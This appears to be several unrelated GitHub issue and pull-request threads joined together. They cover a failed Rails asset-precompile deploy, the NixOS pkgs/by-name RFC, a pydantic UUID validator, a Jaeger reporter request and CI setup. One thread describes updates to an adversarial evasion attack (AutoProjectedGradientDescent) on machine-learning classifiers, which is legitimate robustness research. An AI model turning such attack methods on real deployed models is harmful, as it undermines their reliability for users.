sprocketsによるデプロイエラーを解消する

Preparing app for Rails asset pipeline
       Running: rake assets:precompile
       yarn install v1.22.19
       [1/4] Resolving packages...
       [2/4] Fetching packages...
       [3/4] Linking dependencies...
       warning " ><EMAIL_ADDRESS>has unmet peer dependency<EMAIL_ADDRESS>       warning " ><EMAIL_ADDRESS>has unmet peer dependency<EMAIL_ADDRESS>       warning " ><EMAIL_ADDRESS>has unmet peer dependency<EMAIL_ADDRESS>       warning " ><EMAIL_ADDRESS>has unmet peer dependency<EMAIL_ADDRESS>       warning "vite-plugin-pwa > workbox-build ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>       warning "vite-plugin-pwa > workbox-build ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>|| ^2.0.0".
       warning "vite-plugin-pwa > workbox-build > @rollup/plugin-babel ><EMAIL_ADDRESS>has incorrect peer dependency<EMAIL_ADDRESS>       warning " ><EMAIL_ADDRESS>has unmet peer dependency<EMAIL_ADDRESS>       [4/4] Building fresh packages...
       Done in 47.72s.
       yarn run v1.22.19
       $ bin/vite build --clear --mode=development
       Removed vite cache and output dirs:
       	/tmp/build_ce5e1240/public/vite
       	/tmp/build_ce5e1240/public/vite-ssr
       	/tmp/build_ce5e1240/tmp/cache/vite
       	/tmp/build_ce5e1240/node_modules/.vite
       Building with Vite ⚡
       $ /tmp/build_ce5e1240/node_modules/.bin/vite build --mode production
       vite v5.4.1 building for production...
       transforming...
       ✓ 120 modules transformed.
       rendering chunks...
       computing gzip size...
       ../../public/vite/.vite/manifest-assets.json              0.00 kB │ gzip:  0.02 kB
       ../../public/vite/.vite/manifest.json                     2.55 kB │ gzip:  0.36 kB
       ../../public/vite/assets/fa-v4compatibility.woff2         4.80 kB
       ../../public/vite/assets/fa-v4compatibility.ttf          10.84 kB
       ../../public/vite/assets/fa-regular-400.woff2            25.46 kB
       ../../public/vite/assets/fa-regular-400.ttf              67.98 kB
       ../../public/vite/assets/fa-brands-400.woff2            118.07 kB
       ../../public/vite/assets/fa-solid-900.woff2             157.19 kB
       ../../public/vite/assets/fa-brands-400.ttf              209.38 kB
       ../../public/vite/assets/fa-solid-900.ttf               423.68 kB
       ../../public/vite/assets/application.css                  0.03 kB │ gzip:  0.05 kB
       ../../public/vite/assets/entrypoints/application.css    309.05 kB │ gzip: 51.96 kB
       ../../public/vite/assets/entrypoints/application.js.js  256.33 kB │ gzip: 87.68 kB │ map: 1,329.14 kB
       ✓ built in 4.17s
       Build with Vite complete: /tmp/build_ce5e1240/public/vite
       DEPRECATION WARNING: Sass's behavior for declarations that appear after nested
       rules will be changing to match the behavior specified by CSS in an upcoming
       version. To keep the existing behavior, move the declaration above the nested
       rule. To opt into the new behavior, wrap the declaration in `& {}`.

       More info: https://sass-lang.com/d/mixed-decls

          ╷
       51 │ ┌   &:not(.is-rounded)
       52 │ │     border-radius: $radius-small
          │ └─── nested rule
       53 │     font-size: $size-small
          │     ^^^^^^^^^^^^^^^^^^^^^^ declaration
          ╵
           file:///tmp/build_ce5e1240/node_modules/bulma/sass/elements/button.sass 53:3   button-small()
           file:///tmp/build_ce5e1240/node_modules/bulma/sass/elements/button.sass 252:5  @import
           file:///tmp/build_ce5e1240/node_modules/bulma/sass/elements/_all.sass 5:9      @import
           file:///tmp/build_ce5e1240/node_modules/bulma/bulma.sass 5:9                   @import
           file:///tmp/build_ce5e1240/app/javascript/entrypoints/application.scss 1:9     root stylesheet

       DEPRECATION WARNING: Sass's behavior for declarations that appear after nested
       rules will be changing to match the behavior specified by CSS in an upcoming
       version. To keep the existing behavior, move the declaration above the nested
       rule. To opt into the new behavior, wrap the declaration in `& {}`.

       More info: https://sass-lang.com/d/mixed-decls

          ╷
       51 │ ┌   &:not(.is-rounded)
       52 │ │     border-radius: $radius-small
          │ └─── nested rule
       53 │     font-size: $size-small
          │     ^^^^^^^^^^^^^^^^^^^^^^ declaration
          ╵
           file:///tmp/build_ce5e1240/node_modules/bulma/sass/elements/button.sass 53:3   button-small()
           file:///tmp/build_ce5e1240/node_modules/bulma/sass/elements/button.sass 303:7  @import
           file:///tmp/build_ce5e1240/node_modules/bulma/sass/elements/_all.sass 5:9      @import
           file:///tmp/build_ce5e1240/node_modules/bulma/bulma.sass 5:9                   @import
           file:///tmp/build_ce5e1240/app/javascript/entrypoints/application.scss 1:9     root stylesheet

       DEPRECATION WARNING: Sass's behavior for declarations that appear after nested
       rules will be changing to match the behavior specified by CSS in an upcoming
       version. To keep the existing behavior, move the declaration above the nested
       rule. To opt into the new behavior, wrap the declaration in `& {}`.

       More info: https://sass-lang.com/d/mixed-decls

           ╷
       64  │ ┌       &:nth-child(3)
       65  │ │         transform: translateY(-5px) rotate(-45deg)
           │ └─── nested rule
       ... │
       181 │       #{$property}-#{$normal}: $spacing
           │       ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ declaration
           ╵
           file:///tmp/build_ce5e1240/node_modules/bulma/sass/utilities/mixins.sass 181:5   ltr-property()
           file:///tmp/build_ce5e1240/node_modules/bulma/sass/components/navbar.sass 159:3  @import
           file:///tmp/build_ce5e1240/node_modules/bulma/sass/components/_all.sass 12:9     @import
           file:///tmp/build_ce5e1240/node_modules/bulma/bulma.sass 7:9                     @import
           file:///tmp/build_ce5e1240/app/javascript/entrypoints/application.scss 1:9       root stylesheet

       ../images/first-view-image.png referenced in ../images/first-view-image.png didn't resolve at build time, it will remain unchanged to be resolved at runtime

       Done in 8.03s.
       rake aborted!
       Sprockets::ArgumentError: link_directory argument must be a directory (Sprockets::ArgumentError)
       /tmp/build_ce5e1240/app/assets/config/manifest.js:2
       /tmp/build_ce5e1240/vendor/bundle/ruby/3.3.0/gems/sprockets-4.2.1/lib/sprockets/directive_processor.rb:407:in `expand_relative_dirname'
       /tmp/build_ce5e1240/vendor/bundle/ruby/3.3.0/gems/sprockets-4.2.1/lib/sprockets/directive_processor.rb:343:in `process_link_directory_directive'
       /tmp/build_ce5e1240/vendor/bundle/ruby/3.3.0/gems/sprockets-4.2.1/lib/sprockets/directive_processor.rb:189:in `block in process_directives'
       /tmp/build_ce5e1240/vendor/bundle/ruby/3.3.0/gems/sprockets-4.2.1/lib/sprockets/directive_processor.rb:187:in `each'
       /tmp/build_ce5e1240/vendor/bundle/ruby/3.3.0/gems/sprockets-4.2.1/lib/sprockets/directive_processor.rb:187:in `process_directives'
       /tmp/build_ce5e1240/vendor/bundle/ruby/3.3.0/gems/sprockets-4.2.1/lib/sprockets/directive_processor.rb:84:in `_call'
       /tmp/build_ce5e1240/vendor/bundle/ruby/3.3.0/gems/sprockets-4.2.1/lib/sprockets/directive_processor.rb:65:in `call'
       /tmp/build_ce5e1240/vendor/bundle/ruby/3.3.0/gems/sprockets-4.2.1/lib/sprockets/processor_utils.rb:84:in `call_processor'
       /tmp/build_ce5e1240/vendor/bundle/ruby/3.3.0/gems/sprockets-4.2.1/lib/sprockets/processor_utils.rb:66:in `block in call_processors'
       /tmp/build_ce5e1240/vendor/bundle/ruby/3.3.0/gems/sprockets-4.2.1/lib/sprockets/processor_utils.rb:65:in `reverse_each'
       /tmp/build_ce5e1240/vendor/bundle/ruby/3.3.0/gems/sprockets-4.2.1/lib/sprockets/processor_utils.rb:65:in `call_processors'
       /tmp/build_ce5e1240/vendor/bundle/ruby/3.3.0/gems/sprockets-4.2.1/lib/sprockets/loader.rb:184:in `load_from_unloaded'
       /tmp/build_ce5e1240/vendor/bundle/ruby/3.3.0/gems/sprockets-4.2.1/lib/sprockets/loader.rb:59:in `block in load'
       /tmp/build_ce5e1240/vendor/bundle/ruby/3.3.0/gems/sprockets-4.2.1/lib/sprockets/loader.rb:339:in `fetch_asset_from_dependency_cache'
       /tmp/build_ce5e1240/vendor/bundle/ruby/3.3.0/gems/sprockets-4.2.1/lib/sprockets/loader.rb:43:in `load'
       /tmp/build_ce5e1240/vendor/bundle/ruby/3.3.0/gems/sprockets-4.2.1/lib/sprockets/cached_environment.rb:44:in `block in load'
       /tmp/build_ce5e1240/vendor/bundle/ruby/3.3.0/gems/concurrent-ruby-1.3.4/lib/concurrent-ruby/concurrent/map.rb:207:in `block in fetch_or_store'
       /tmp/build_ce5e1240/vendor/bundle/ruby/3.3.0/gems/concurrent-ruby-1.3.4/lib/concurrent-ruby/concurrent/map.rb:187:in `fetch'
       /tmp/build_ce5e1240/vendor/bundle/ruby/3.3.0/gems/concurrent-ruby-1.3.4/lib/concurrent-ruby/concurrent/map.rb:206:in `fetch_or_store'
       /tmp/build_ce5e1240/vendor/bundle/ruby/3.3.0/gems/sprockets-4.2.1/lib/sprockets/cached_environment.rb:44:in `load'
       /tmp/build_ce5e1240/vendor/bundle/ruby/3.3.0/gems/sprockets-4.2.1/lib/sprockets/bundle.rb:27:in `call'
       /tmp/build_ce5e1240/vendor/bundle/ruby/3.3.0/gems/sprockets-4.2.1/lib/sprockets/processor_utils.rb:84:in `call_processor'
       /tmp/build_ce5e1240/vendor/bundle/ruby/3.3.0/gems/sprockets-4.2.1/lib/sprockets/processor_utils.rb:66:in `block in call_processors'
       /tmp/build_ce5e1240/vendor/bundle/ruby/3.3.0/gems/sprockets-4.2.1/lib/sprockets/processor_utils.rb:65:in `reverse_each'
       /tmp/build_ce5e1240/vendor/bundle/ruby/3.3.0/gems/sprockets-4.2.1/lib/sprockets/processor_utils.rb:65:in `call_processors'
       /tmp/build_ce5e1240/vendor/bundle/ruby/3.3.0/gems/sprockets-4.2.1/lib/sprockets/loader.rb:184:in `load_from_unloaded'
       /tmp/build_ce5e1240/vendor/bundle/ruby/3.3.0/gems/sprockets-4.2.1/lib/sprockets/loader.rb:59:in `block in load'
       /tmp/build_ce5e1240/vendor/bundle/ruby/3.3.0/gems/sprockets-4.2.1/lib/sprockets/loader.rb:339:in `fetch_asset_from_dependency_cache'
       /tmp/build_ce5e1240/vendor/bundle/ruby/3.3.0/gems/sprockets-4.2.1/lib/sprockets/loader.rb:43:in `load'
       /tmp/build_ce5e1240/vendor/bundle/ruby/3.3.0/gems/sprockets-4.2.1/lib/sprockets/cached_environment.rb:44:in `block in load'
       /tmp/build_ce5e1240/vendor/bundle/ruby/3.3.0/gems/concurrent-ruby-1.3.4/lib/concurrent-ruby/concurrent/map.rb:207:in `block in fetch_or_store'
       /tmp/build_ce5e1240/vendor/bundle/ruby/3.3.0/gems/concurrent-ruby-1.3.4/lib/concurrent-ruby/concurrent/map.rb:187:in `fetch'
       /tmp/build_ce5e1240/vendor/bundle/ruby/3.3.0/gems/concurrent-ruby-1.3.4/lib/concurrent-ruby/concurrent/map.rb:206:in `fetch_or_store'
       /tmp/build_ce5e1240/vendor/bundle/ruby/3.3.0/gems/sprockets-4.2.1/lib/sprockets/cached_environment.rb:44:in `load'
       /tmp/build_ce5e1240/vendor/bundle/ruby/3.3.0/gems/sprockets-4.2.1/lib/sprockets/base.rb:81:in `find_asset'
       /tmp/build_ce5e1240/vendor/bundle/ruby/3.3.0/gems/sprockets-4.2.1/lib/sprockets/base.rb:88:in `find_all_linked_assets'
       /tmp/build_ce5e1240/vendor/bundle/ruby/3.3.0/gems/sprockets-4.2.1/lib/sprockets/manifest.rb:125:in `each'
       /tmp/build_ce5e1240/vendor/bundle/ruby/3.3.0/gems/sprockets-4.2.1/lib/sprockets/manifest.rb:125:in `to_a'
       /tmp/build_ce5e1240/vendor/bundle/ruby/3.3.0/gems/sprockets-4.2.1/lib/sprockets/manifest.rb:125:in `block (2 levels) in find'
       /tmp/build_ce5e1240/vendor/bundle/ruby/3.3.0/gems/concurrent-ruby-1.3.4/lib/concurrent-ruby/concurrent/executor/safe_task_executor.rb:24:in `block in execute'
       /tmp/build_ce5e1240/vendor/bundle/ruby/3.3.0/gems/concurrent-ruby-1.3.4/lib/concurrent-ruby/concurrent/synchronization/mutex_lockable_object.rb:48:in `block in synchronize'
       /tmp/build_ce5e1240/vendor/bundle/ruby/3.3.0/gems/concurrent-ruby-1.3.4/lib/concurrent-ruby/concurrent/synchronization/mutex_lockable_object.rb:48:in `synchronize'
       /tmp/build_ce5e1240/vendor/bundle/ruby/3.3.0/gems/concurrent-ruby-1.3.4/lib/concurrent-ruby/concurrent/synchronization/mutex_lockable_object.rb:48:in `synchronize'
       /tmp/build_ce5e1240/vendor/bundle/ruby/3.3.0/gems/concurrent-ruby-1.3.4/lib/concurrent-ruby/concurrent/executor/safe_task_executor.rb:22:in `execute'
       /tmp/build_ce5e1240/vendor/bundle/ruby/3.3.0/gems/concurrent-ruby-1.3.4/lib/concurrent-ruby/concurrent/promise.rb:564:in `block in realize'
       /tmp/build_ce5e1240/vendor/bundle/ruby/3.3.0/gems/concurrent-ruby-1.3.4/lib/concurrent-ruby/concurrent/executor/ruby_thread_pool_executor.rb:359:in `run_task'
       /tmp/build_ce5e1240/vendor/bundle/ruby/3.3.0/gems/concurrent-ruby-1.3.4/lib/concurrent-ruby/concurrent/executor/ruby_thread_pool_executor.rb:350:in `block (3 levels) in create_worker'
       /tmp/build_ce5e1240/vendor/bundle/ruby/3.3.0/gems/concurrent-ruby-1.3.4/lib/concurrent-ruby/concurrent/executor/ruby_thread_pool_executor.rb:341:in `block (2 levels) in create_worker'
       /tmp/build_ce5e1240/vendor/bundle/ruby/3.3.0/gems/concurrent-ruby-1.3.4/lib/concurrent-ruby/concurrent/executor/ruby_thread_pool_executor.rb:340:in `catch'
       /tmp/build_ce5e1240/vendor/bundle/ruby/3.3.0/gems/concurrent-ruby-1.3.4/lib/concurrent-ruby/concurrent/executor/ruby_thread_pool_executor.rb:340:in `block in create_worker'
       Tasks: TOP => assets:precompile
       (See full trace by running task with --trace)

 !
 !     Precompiling assets failed.
 !
 !     Push rejected, failed to compile Ruby app.
 !     Push failed

対応が完了したためクローズする


[RFC 140] Simple package paths, part 1: Directory structure

Context
This is the first part of the implementation of the accepted RFC 140, the introduction of the new directory structure. The second part will be done afterwards and can be found here: https://github.com/NixOS/nixpkgs/pull/211832. This is hopefully only the first of many quality-of-life improvements to Nixpkgs by the Nixpkgs Architecture Team.
Overview
This RFC introduces the new pkgs/by-name directory, which makes it possible to add a new top-level package by just declaring it in pkgs/by-name/${prefix}/${name}/package.nix, where name is the attribute name the package should be exposed as, and prefix is the lowercased two-letter prefix of the attribute name. This means that for a lot of packages there's no more need to find an appropriate location for the file in the loosely categorized pkgs/ hierarchy, and no more editing of the all-packages.nix file!
Restrictions
Note however that only a subset of packages may be using this new directory structure for now, extending this is future work for the Nixpkgs Architecture Team. In particular these requirements have to be met for an attribute to be defined in pkgs/by-name:

It's at the top level, not allowed are packages from package sets like pkgs.python3Packages.requests.
It's a derivation, not allowed are non-derivations like pkgs.fetchFromGitHub.
It's defined using callPackage, not allowed are packages defined using functions like python3Packages.buildPythonApplication.

Things done

[x] Implement the automatic calling of packages in the pkgs/by-name directory and move pkgs.hello to it

[x] Working
[x] Optimised
[ ] Tested
[x] Clean and documented code

[x] Implement CI checks enforcing the structure and semantics of the pkgs/by-name directory

[x] Working, you can run nix-build -A tests.namedHierarchy
[ ] Successful in CI
[ ] Tested
[ ] Clean and documented code

[ ] Update the Nixpkgs manual to document the pkgs/by-name directory and recommend using it for new packages

When this PR is ready, I'll schedule a call with the Nixpkgs Architecture Team to do the final review and merging, stay tuned!

This pull request has been mentioned on NixOS Discourse. There might be relevant details there:
https://discourse.nixos.org/t/2023-06-13-nixpkgs-architecture-team-meeting-40/29087/1

@gilice I did not know that, neat! Greatly appreciated, I barely know Rust :D

This pull request has been mentioned on NixOS Discourse. There might be relevant details there:
https://discourse.nixos.org/t/2023-07-13-documentation-team-meeting-notes-63/30450/1

Autogenerated code would additionally retain a copy of the AST in memory, whereas this solution only retains the attrset.

@roberth

Autogenerated code would additionally retain a copy of the AST in memory, whereas this solution only retains the attrset.
Even assuming nix does this (keeps the source file in memory forever) for some reason (which AFAIK it does not), you are not actually winning anything, because you will generate all those baseDirectory + "/${shard}/${name}/package.nix" paths anyway. Even if readdir(2) and merging of attrsets costed nothing, this would still be less efficient than a plain generated  .nix file, since this code will store most of those paths as closures of  (+) baseDirectory "/${shard}/${name}/package.nix".

Even assuming nix does this (keeps the source file in memory forever)

Please don't write about false assumptions, and let's stop speculating. I don't think the difference would be significant compared to the human cost of maintaining the list, at least for the time being.
If you can come up with an objectively faster and/or more memory efficient method, we can consider that separately. For now the goal is to implement the RFC, and ~10 ms or ~4 MB are not blocking issues.

This pull request has been mentioned on NixOS Discourse. There might be relevant details there:
https://discourse.nixos.org/t/2023-07-17-documentation-team-meeting-notes-64/30653/1

I'm not saying the list should be maintained by hand, I'm saying it should be autogenerated with a script, for which I've shown you the math.
But alright, whatever, the migration to the new file hierarchy is the important step, the 244x slowdown would be easy to fix afterwards.

I'm not saying the list should be maintained by hand, I'm saying it should be autogenerated with a script

You've been understood, but this does not negate the point about additional maintenance cost of your proposal compared to this one.

, for which I've shown you the math.

You've done some napkin calculations based on assumptions which are hard to verify from the outside. Besides, I wouldn't trust any numbers without benchmarks anyways.
The point is, as long as this change does not produce significant performance regressions, it does not really matter.
P.S.: please keep your sarcasm for yourself, I liked being in a good mood.

@piegamesde The estimate by @oxij is actually very accurate, it's close to the benchmark results I got (see here (I should add to this PR that I performed that benchmark with all top-level attributes added to pkgs/by-name).
But yeah agreed with @roberth and @piegamesde here, the cost of having to maintain an auto-generated file by far outweighs the slightly decreased performance. But I do appreciate @oxij's general concern for performance, we should definitely take a closer look at performance for the second PR, which will do the big migration: https://github.com/NixOS/nixpkgs/pull/211832.
However I have effectively 0 concerns about performance, it's a one-time computation that takes 7MB and 15ms, which is insignificant compared to the resources most Nix evaluations require. But yes, let's optimise where we can, small savings add up. I think the best solution to improve performance would be to add a Nix builtin though, then we can have the cake and eat it too :)

@piegamesde

You've been understood, but this does not negate the point about additional maintenance cost of your proposal compared to this one.

True.

You've done some napkin calculations based on assumptions which are hard to verify from the outside. Besides, I wouldn't trust any numbers without benchmarks anyways.

I and @danbst did benchmark #50643, and @danbst did even benchmark various hypothetical implementations, see https://github.com/NixOS/nixpkgs/pull/50643#issuecomment-457202241
To quote from there:

So, the result for 40000 packages:
* original runtime is 0.168197s, oxij's list is 0.144745s, index version is 0.08515s

* original has 96 bytes per package, oxij's list has 416, index has 96

* original has 1,7M on disk, oxij's has 927K, index has 498K

And I'm saying we should adopt something like the "index" version from there here. The difference in real terms is significant even for such a small change as offloading callPackage calls. This doesn't. And actually adds computation compared to all-packages.nix.
But this is easier to maintain, true.

This pull request has been mentioned on NixOS Discourse. There might be relevant details there:
https://discourse.nixos.org/t/could-there-ever-be-some-kind-of-config-d-or-imports-globbing-for-easier-programmatic-editing/30668/4

This is a very important change, but I'd like to take a little detour by first cleaning up the general contributing documentation with https://github.com/NixOS/nixpkgs/pull/245243. In recent weeks it really sunk in how bad Nixpkgs documentation is, and because I don't want to shoehorn this updated documentation into this mess, I think the time is better spent improving the docs overall. The linked PR is still an early draft, but feel free to give general feedback.

This pull request has been mentioned on NixOS Discourse. There might be relevant details there:
https://discourse.nixos.org/t/2023-07-17-documentation-team-meeting-notes-64/30653/2

I have split this PR up once more into https://github.com/NixOS/nixpkgs/pull/250885, which just adds the checking tool, without enabling it in Nixpkgs.

The above split-off and this PR is now scheduled to be reviewed and merged with the Nixpkgs Architecture Team and anybody else that wants to join in https://meet.jit.si/nixpkgs-architecture on these times:

2023-08-29 15:30 CEST: https://github.com/NixOS/nixpkgs/pull/250885
2023-09-05 15:30 CEST: (this PR)

@amjoseph-nixpkgs It's not just checkReferences anymore, but rather the nixpkgs-check-by-name CLI tool. I just wrote some contributor docs in that PR here which contain some explanation and justification.

When I first read this, it sounded like CI would always use the latest (as of the moment when CI is run) Hydra binary for checkReferences from the nixpkgs-unstable channel.

Yes, that's right. CI should fetch the nixpkgs-unstable channel, build (but actually just substitute) -A tests.byName from cache.nixos.org, then run it on the PR's tree.

This would be bad, because if a bug in checkReferences were preventing CI from passing, we would not be able to fix the bug in the same PR as the change it was incorrectly blocking. In fact, we would need to not only submit two PRs, but wait for a channel-advance to occur between them. That would be extremely annoying.

I guess I haven't mentioned how I intend to implement the CI check. It should be a GitHub Action that does the above-described process.  Also note that all Nixpkgs committers can turn off or rerun GitHub Actions workflows here.

However after briefly skimming this PR, I can't find anything that obviously looks like "fetch the tool from the nixpkgs-unstable channel".

This PR is not up-to-date with the latest intentions and that's why I'm still leaving it as a draft. I will mark the PR as ready to review once it's up-to-date and mergeable. I will work hard to get to that point before the scheduled date.

This PR is not up-to-date with the latest intentions and that's why I'm still leaving it as a draft. I will mark the PR as ready to review once it's up-to-date and mergeable. I will work hard to get to that point before the scheduled date.

Okay; when you do update this with the mechanism described above would you please ping me?
Disabling (parts of) CI seems like quite a sledgehammer.  Not excited about that being the only alternative to "submit a separate PR, wait for it to merge, wait for the channel to advance."  It would be much better if the cache were used only as a cache rather than as a source of truth.
Maybe there's some fundamental reason why it can't work that way.  I'll wait for the undraftified PR to see if that's the case.  I just don't want to make the "ofborg problem" (our CI tool lives in a different tree than the code it does CI upon) worse than it already is.

@amjoseph-nixpkgs As I just said earlier, this PR is not ready yet, in particular I split off the entire checking code into https://github.com/NixOS/nixpkgs/pull/250885, the code here is outdated and won't be included like this! That other PR is almost ready though (only a bit cleaner code is missing, I'll unmark it as draft very soon), feel free to review that one already!

The other PR (a prerequisite for this one) is now ready to be reviewed! https://github.com/NixOS/nixpkgs/pull/250885

After the nixpkgs-check-by-name tool was successfully merged this week, including a channel fix and a backport, I went on to readying up this PR:

Introduce the GitHub Actions workflow to run the tool on every PR (see the new "Check pkgs/by-name" in the PR checks!)
Update the documentation according to previous feedback
Add more comments and tidy up everything in general

I can confirm that this now works very well and I consider this ready to be merged!
As with the other PR, we have a meeting scheduled for next Tuesday, 2023-09-05 15:30 CEST in https://meet.jit.si/nixpkgs-architecture to do a final review and merge (if everything looks good) with the Nixpkgs Architecture Team and anybody else that wants to join :smile:
So please review this until Tuesday and we'll have it merged for Nixcon!

@roberth Thanks for the suggestions, I reworded them a bit, but mostly applied them (diff)

This pull request has been mentioned on NixOS Discourse. There might be relevant details there:
https://discourse.nixos.org/t/2023-09-05-nixpkgs-architecture-team-meeting-43/32635/1

Backport PR, let's make sure this one doesn't have any problems before merging it though: https://github.com/NixOS/nixpkgs/pull/253442

This pull request has been mentioned on NixOS Discourse. There might be relevant details there:
https://discourse.nixos.org/t/nix-init-generate-nix-packages-from-urls-with-hash-prefetching-dependency-inference-license-detection-and-more/25035/18

I'm getting the following error from CI on a new PR I opened, from the check-by-name.yml workflow:
  Error: fatal: couldn't find remote ref refs/pull/255902/merge
  The process '/usr/bin/git' failed with exit code 128

Thanks for the report! Opened https://github.com/NixOS/nixpkgs/issues/256756 to discuss this

This pull request has been mentioned on NixOS Discourse. There might be relevant details there:
https://discourse.nixos.org/t/ci-will-soon-enforce-pkgs-by-name-for-new-packages/38098/1


Add UUID validator

Closes #554

Before we get too far on this, it would be good to see the performance difference between this and the python implementation we currently have in pydantic.

Codecov Report

Merging #584 (0b06fb7) into main (4767abf) will decrease coverage by 0.39%.
The diff coverage is 61.48%.

:mega: This organization is not using Codecov’s GitHub App Integration. We recommend you install it so Codecov can continue to function properly for your repositories. Learn more
Additional details and impacted files
@@            Coverage Diff             @@
##             main     #584      +/-   ##
==========================================
- Coverage   94.12%   93.74%   -0.39%
==========================================
  Files          96       98       +2
  Lines       13021    13248     +227
  Branches       24       24
==========================================
+ Hits        12256    12419     +163
- Misses        759      823      +64
  Partials        6        6

Impacted Files
Coverage Δ

pydantic_core/__init__.py
81.81% <ø> (ø)

src/input/input_abstract.rs
84.46% <0.00%> (-3.42%)
:arrow_down:

src/validators/uuid.rs
55.55% <55.55%> (ø)

src/uuid.rs
58.18% <58.18%> (ø)

src/errors/types.rs
84.29% <84.61%> (+0.01%)
:arrow_up:

pydantic_core/core_schema.py
96.99% <100.00%> (+0.03%)
:arrow_up:

src/input/input_python.rs
98.01% <100.00%> (-0.73%)
:arrow_down:

src/lib.rs
100.00% <100.00%> (ø)

src/validators/mod.rs
98.52% <100.00%> (+<0.01%)
:arrow_up:

... and 4 files with indirect coverage changes

Continue to review full report in Codecov by Sentry.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 4767abf...0b06fb7. Read the comment docs.

I implemented some benchmarks in dba435a. Here's the results:
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━┓
┃  Group                           ┃  Test Name                    ┃             Best (ns/iter)  ┃         Relative  ┃              Stddev (ns/iter)  ┃          Iterations  ┃  Note      ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━┩
│  uuid model - JSON               │  model_core_json              │                      490.0  │                   │                          4.98  │           1,000,000  │            │
│                                  │  model_pyd_json               │                    2_676.3  │            x5.46  │                         62.75  │           1,000,000  │            │
├──────────────────────────────────┼───────────────────────────────┼─────────────────────────────┼───────────────────┼────────────────────────────────┼──────────────────────┼────────────┤
│  uuid str                        │  core_str                     │                      131.0  │                   │                          2.65  │           1,000,000  │            │
└──────────────────────────────────┴───────────────────────────────┴─────────────────────────────┴───────────────────┴────────────────────────────────┴──────────────────────┴────────────┘

I also assume we'd want to do something similar to datetime where we can parse strings and python objects?

Closing as no response.

To get fast UUID validation, we should do the following:

perform the UUID validation in Rust
then construct the UUID instance directly by setting the attributes, like here

I think this has now been superseded by #772.


Update AutoProjectedGradientDescent

Signed-off-by: Beat Buesser<EMAIL_ADDRESS>Description
This pull request provides updates for AutoProjectedGradientDescent. It extends AutoProjectedGradientDescent to run with estimators of all frameworks using the estimator's loss function requiring the estimator to predict logits and provide loss gradients. It updates AutoProjectedGradientDescent to use the new method loss of the Estimator API replacing custom functions in AutoProjectedGradientDescent and implements method loss for TensorFlowClassifer. It disables the loss type difference_logits_ratio for TensorFlowClassifer, for now until a suspected bug in that loss function has been fixed, by commenting the implementation as it seems to fail to select the second largest logit for cases where the largest logit is the true logit which occurs in small number of predictions, this only affects AutoProjectedGradientDescent with TensorFlowClassifer.)
Type of change
Please check all relevant options.

[x] Improvement (non-breaking)
[ ] Bug fix (non-breaking)
[ ] New feature (non-breaking)
[ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
[ ] This change requires a documentation update

Checklist

[x] My code follows the style guidelines of this project
[x] I have performed a self-review of my own code
[x] I have commented my code
[x] I have made corresponding changes to the documentation
[x] My changes generate no new warnings
[ ] I have added tests that prove my fix is effective or that my feature works
[ ] New and existing unit tests pass locally with my changes

Codecov Report

Merging #685 into dev_1.4.2 will increase coverage by 0.03%.
The diff coverage is 3.20%.

@@              Coverage Diff              @@
##           dev_1.4.2     #685      +/-   ##
=============================================
+ Coverage      58.86%   58.89%   +0.03%
=============================================
  Files            155      155
  Lines          14232    14221      -11
  Branches        2563     2573      +10
=============================================
- Hits            8377     8376       -1
+ Misses          5049     5038      -11
- Partials         806      807       +1

Impacted Files
Coverage Δ

...attacks/evasion/auto_projected_gradient_descent.py
7.42% <0.00%> (+0.93%)
:arrow_up:

art/estimators/classification/tensorflow.py
48.25% <8.69%> (-2.09%)
:arrow_down:

art/estimators/classification/keras.py
64.26% <11.11%> (-1.38%)
:arrow_down:

art/estimators/classification/pytorch.py
61.56% <50.00%> (ø)

art/defences/detector/poison/activation_defence.py
84.79% <0.00%> (-0.34%)
:arrow_down:

Hi @hesseltuinhof Thank you very much for your review, I have responded to your comments above.


Search bar

plz
Maybe just a client-side JS search?
Or even some deep search that searches the course filenames too?

would it make any sense to run ocr to the pdf's in order to make full text search possible?

Do you have a use case in mind?

maybe a bit far fetched but

as a user I want to know if this exam question has been in several exams or not

usually there's not a lot of exams that require this (instead of looking them through manually) so maybe don't consider this as the most important thing at least


fix: update refs with bns

Fix mentioned in https://github.com/blockstack/docs/pull/1067#issuecomment-774782960

fyi - I'm merging this to ensure main is building successfully again


Structured stdout reporter

Requirement - what kind of business use case are you trying to solve?
Hi, i want to report spans to stdout in structured format(e.g. JSON).
Problem - what in Jaeger blocks you from solving the requirement?
There is already Logger Reporter but it logs not structured span(span.String()) and span itself is very limited, not tags, no flags, operation name, etc.
Proposal - what do you suggest to solve the problem or improve the existing situation?
I want to contribute if it is acceptable. There are several ways we can achieve structured stdout:

Provide API to get private Span fields(e.g. Getters) or add new struct with public fields so anyone who needs will have possibility to implement Reporter the way he needs with access to full span data.
Implement new reporter that will do what needed(TBD)
???

Any open questions to address
I'm prefer first approach for my self as it is more generalized one and provides more flexibility.
WDYT?

I don't have objections to adding getters to Span.


Add Travis CI builds

This merge contains the changes to add Travis CI builds of the client.
You can see the output of the builds here
It runs the tests on Node 5, 6, and 7

If you chose to merge the change you would need to register for a free Travis account and then add this repository. See steps 2 and 3 here

I already have a private TeamCity configured to build this project. I don't see the need in migrating to Travis.

Well, because the build is private a consumer of the client has no way of knowing if it ever runs or runs successfully. Coming fresh to the client I had no way of knowing whether the client would pass its tests and had to figure out how to setup to run them.
I wanted to decide between the three NodeJS clients listed on the eventstore site. 2 had no (public) CI, the third had failing CI. Makes it harder to evaluate and contribute to the software.

